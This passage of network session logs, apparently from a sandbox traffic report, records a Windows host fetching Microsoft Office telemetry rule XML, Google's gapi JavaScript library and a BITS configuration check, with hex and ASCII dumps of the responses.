2024-10-30 22:11:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:25 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 5fd3a61a-e01e-0071-0feb-2a08e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221125Z-16849878b78km6fmmkbenhx76n00000007xg00000000qkdu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:25 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:25 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:25 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:25 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 67fffc2c-401e-000a-5dae-264a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221125Z-16849878b7828dsgct3vrzta700000000730000000008wme x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:25 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49754	142.250.184.238	443	6552	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:25 UTC	741	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 22:11:25 UTC	915	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 30 Oct 2024 15:42:11 GMT Expires: Thu, 30 Oct 2025 15:42:11 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 23354 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-30 22:11:25 UTC	463	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-10-30 22:11:25 UTC	1378	IN	Data Raw: 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 Data Ascii: totype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)retu
2024-10-30 22:11:25 UTC	1378	IN	Data Raw: 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 Data Ascii: ar b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.as
2024-10-30 22:11:25 UTC	1378	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 Data Ascii: function(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject
2024-10-30 22:11:25 UTC	1378	IN	Data Raw: 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 Data Ascii: promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=func
2024-10-30 22:11:25 UTC	1378	IN	Data Raw: 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f Data Ascii: or("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));fo
2024-10-30 22:11:25 UTC	1378	IN	Data Raw: 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 Data Ascii: r h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return t
2024-10-30 22:11:25 UTC	1378	IN	Data Raw: 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 Data Ascii: e=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this
2024-10-30 22:11:25 UTC	1378	IN	Data Raw: 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 Data Ascii: pe.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)r
2024-10-30 22:11:25 UTC	1378	IN	Data Raw: 2b 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 Data Ascii: +9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49752	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:25 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-30 22:11:25 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF70) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=239657 Date: Wed, 30 Oct 2024 22:11:25 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:25 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:25 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 789f6287-101e-0065-355f-284088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221125Z-15b8d89586fzhrwgk23ex2bvhw0000000bk000000000ed5q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:26 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:25 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:26 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:25 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 46a88b53-101e-0017-7e74-2747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221125Z-16849878b78hh85qc40uyr8sc800000008u000000000vsk4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 22:11:26 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:25 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:26 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:26 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: fa11464d-701e-0032-1f49-27a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221126Z-16849878b78x44pv2mpb0dd37w00000000ng00000000w8yz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
